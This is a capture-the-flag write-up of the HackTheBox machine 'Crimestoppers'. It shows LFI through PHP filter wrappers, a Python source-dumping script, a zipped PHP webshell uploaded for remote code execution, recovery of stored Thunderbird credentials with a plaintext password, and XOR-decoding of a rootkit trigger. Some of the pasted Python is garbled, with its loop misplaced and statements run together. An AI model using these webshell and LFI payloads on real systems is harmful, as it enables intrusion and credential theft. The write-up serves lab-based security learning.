WriteUp – Crimestoppers (HackTheBox)

In this post we’re resolving Crimestoppers from HackTheBox that has just been retired, so there is no better moment to show you how I solved it. This is a high level machine that is one of my favorites and was made by IppSec (I highly recommend his YouTube channel). To get initial shell we’ll abuse the PHP wrappers, then we’ll obtain the user credentials stored in Thunderbird (same method to get passwords stored in Firefox) and finally we’ll face a reversing challenge.

My nick in HackTheBox is: manulqwerty If you have any proposal or any correction don’t hesitate to leave a comment.

Write-Up

Enumeration

As always, the first step will be a port scan with Nmap:

nmap -sC -sV 10.10.10.80

We only have the port 80 (http), so let’s take a look of the web. As we see in the next GIF, we have a portal inspired by Mr. Robot that allows us to send notes.

Without needing to fuzz, we find these URLs:

http://10.10.10.80/?op=home http://10.10.10.80/?op=upload http://10.10.10.80/?op=view&secretname=

As we see in the LFI-Cheat Sheet, we can check the PHP code of the web abusing the wrappers.

http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=PHPFILE

Exploitation

In the next gif, we see that this request returns a base64 string. In this case we’ll get the php code of the file ‘upload.php’.

To read better the content of the request, we can use curl:

curl http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload

To decode the base64:

echo -n BASE64TEXT | base64 -d

So now, we can get the PHP files that we know from the server. To automate this process, I’ve written a Python script that will make the task much more comfortable. We only have to execute it and put the name of the file that we want to see: https://github.com/ironHackersDev/python-scripts/blob/master/phpAttack.py

#!/usr/bin/python
import requests
import base64
import re
def GetPHP(file):
    r = requests.get("http://10.10.10.80/?op=php://filter/convert.base64-encode/resource="+file)
    result = re.search('PD9(.*?)<footer>',r.text).group(1)
    b64 = "PD9" + result + "=="
    return base64.b64decode(b64)
    while True:
        cmd = raw_input("> ")
        try:
            output = GetPHP(cmd) print output
        except:
            if cmd == "exit" :
                break print "ERROR"

In the file upload.php, we find where the tips are uploaded:

file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);

The notes are uploaded to directory: /uploads/[OUR IP]:

As we read in the LFI-Cheat Sheet we can use the ZIP wrapper to get RCE.

 echo "<?php \\$_GET['param1'](\\$_GET['param2']); ?>" > shell.php zip -0 shell.zip shell.php

The following step will be intercept the upload of a tip with Burpsuite and with the utility ‘Paste from file’ we’ll can upload the ZIP file we just created:

Once we upload the file, we can verify that it has been uploaded correctly in /uploads/[OUR IP]/[FILE NAME]. Then we can use the wrapper ZIP to decompress and use webshell that we have uploaded. Getting reverse shell will be very simple once we have already RCE.

Post-Exploitation

First of all will be upgrading our shell to full interactive tty: How to get TTY

Now, we can already access to the user.txt Searching in the directories of the only user of the server: dom , we find:

We can get the credentials using : https://github.com/unode/firefox_decrypt

Website: imap://crimestoppers.htb Username: ‘dom@crimestoppers.htb’ Password: ‘Gummer59’
Website: smtp://crimestoppers.htb Username: ‘dom@crimestoppers.htb’ Password: ‘Gummer59’

With this password we can escalate to dom user: su dom Then we’ll read the mails contained in the directory .thunderbird

/home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb

As we read in the file Drafts-1, there would be rootkit installed on the server:

The rootkit is: https://github.com/sajith/mod-rootme But as the message said “Get root” does not work:

Method 1 - Reversing :

In order to investigate why it does not work, we’ll download the file:

To analyze this file we will use IDA PRO 7.0 In the function window we find that there is a function called: darkarmy (), double click on it and with F5 we’ll decompile.

To see the contents of the variables we double click and obtain:

The function rootme_post_read_request verifies that the string that we pass is the correct one, to return us root shell.

As we saw before, the function darkarmy() will execute an exclusive OR (^) between the two variables. Let’s make a C program to get the string that we need.

 #include <stdio.h>

int main(){

int byte_1BF2[11]={0x0e, 0x14, 0x0d, 0x38, 0x3b, 0x0b, 0x0c, 0x27, 0x1b, 0x1, 0x0}; char aHackTheBox[11]= "HackTheBox"; int i;

for(i=0;i<10;i++) printf("%c",(unsigned int) aHackTheBox[i] ^ byte_1BF2[i]);

puts(""); }